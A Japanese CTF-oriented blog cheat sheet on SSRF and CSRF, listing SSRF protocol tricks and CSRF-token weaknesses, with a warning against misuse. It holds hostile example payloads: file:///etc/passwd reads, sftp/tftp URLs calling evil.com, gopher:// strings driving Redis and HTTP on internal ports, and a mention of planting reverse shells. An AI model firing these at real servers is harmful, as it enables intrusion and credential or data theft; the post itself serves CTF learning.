CTFのWebセキュリティにおけるCSRF/SSRF - はまやんはまやんはまやん

はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるCSRF/SSRF

この記事はCTFのWebセキュリティ Advent Calendar 2021の11日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

SSRF

攻撃窓口

狙われる情報

テク

Blind SSRF

ポートスキャンからRCEへ

  1. https://[burp-colab-url]/でBlind SSRFがあるかを確認
  2. プロトコルスキャン
  3. gophar://[burp-colab-url]/のようにプロトコルを変化させて、どのプロトコルが使用可能かを確認する
  4. https以外認めてないことがよくあるので、最初から適当にリダイレクタをかませて確認するのがオススメ
  5. dict://
    • dict://;@:/d:::
    • dict://attacker:11111/
    • dict://127.0.0.1:1337/stats
  6. gopher://
  7. ftp:// ftp://127.0.0.1/
  8. file:// file:///etc/passwd file://\/\/etc/passwd
  9. ldap:// ldap://localhost:11211/%0astats%0aquit
    • ldap://127.0.0.1:389/%0astats%0aquit
    • ldaps:ldapiもある
  10. sftp:// sftp://evil.com:11111/
  11. tftp:// tftp://evil.com:12346/TESTUDPPACKET
  12. netdoc:///etc/passwd
  13. Server-Side Request Forgery (SSRF) & the Cloud Resurgence | AppCheck
    • UNCという手もあるっぽい
  14. ポートスキャン
  15. gopharが使える場合は、それを使ってポートスキャン gophar://127.0.0.1:[post]/
    • ポートが開いているなら早く応答が帰り、そうでないならタイムアウトまで待って応答が返ってくる
  16. デフォルトで、Memcached、Redis、Elasticsearch、MongoDBなどのサービスは認証を必要としない。攻撃者はSSRFでこれらのサービスの一部にアクセスできる
  17. SMTP
  18. 攻撃する
  19. gopharであれば、ポートによってはリバースシェルを仕込める
    • これはgopherはURLの形をとっているが、自由にHTTPリクエストを送信することができるので、色々できてしまう
      • gopher://<host>:<port>/<gopher-path>とやると、host:portにパケットを送れる
      • gopher://localhost:31337/1aaa%0d%0abbb%0d%0acccとやると、localhost:31337に対して、aaa%0d%0abbb%0d%0acccが送れる
      • gopher://localhost:5000/+GET%20/%20HTTP/1.1%0d%0aHost:%20localhost:5000%0d%0a%0d%0aとすれば、localhost:5000へHTTPリクエストを送信可能
    • tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
    • MySQL (Port-3306)
    • PostgreSQL(Port-5432)
    • FastCGI (Port-9000)
    • Memcached (Port-11211) If stored data is getting De-serialized by:
      * Python
      * Ruby
      * PHP
      
    • Redis (Port-6379)
      • gopher://redis:6379/+GET%20FLAG%0d%0aQUIT%0d%0aとすればFLAGをキーとする値が取れる
    • Zabbix (Port-10050)
    • SMTP (Port-25)
    • Jira (default port-8080)
      • http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
    • Confluence (default port-8090)
      • http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=[ssrf-url]
  20. assetnote/blind-ssrf-chains: An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability

とても参考になる攻撃例

From blind XXE to root-level file read access – Honoki

いろんな要素を組み合わせてRCEにつなげている。

  • XMLが出力されているエンドポイントではGETをPOSTに変えてxml入力ができるかも
  • XMLが入力できたらSSRFを試してみる
  • もし外部ネットワークへの接続ができない場合でも、SSRF脆弱性のある内部で動いているアプリケーションを経由すると接続できるかも

CSRF

  • CSRFトークン発行APIがキャッシュされていたら同じURLを踏むことでCSRFトークンが流出するかも
  • CSRFトークンが複数箇所で使用されている場合
    • ある場所で発行されたCSRFトークンがすべての場所で共有されている可能性
      • 地点Aで発行されて
  • トークンは使用後にexpireすること
  • OAuthでもCSRFトークンが使われる
  • CSRFトークンは128bits以上のエントロピーのものを使うこと
    • OAuth2.0ではRFCに明記されてる
    • StachExchangeによると、de-facto standardという記事がある
    • Mitre CWE-6のPotential Mitigationsに記載がある
  • CSRFトークンが別のアカウントで作ったものが他でも使えてしまう
  • CSRFトークンを消したらなぜか動かないか?
  • CSRFトークンをデコードしてみよう
  • CSRFトークンが実は静的
  • HTML Injectionで抜き出す
  • CTF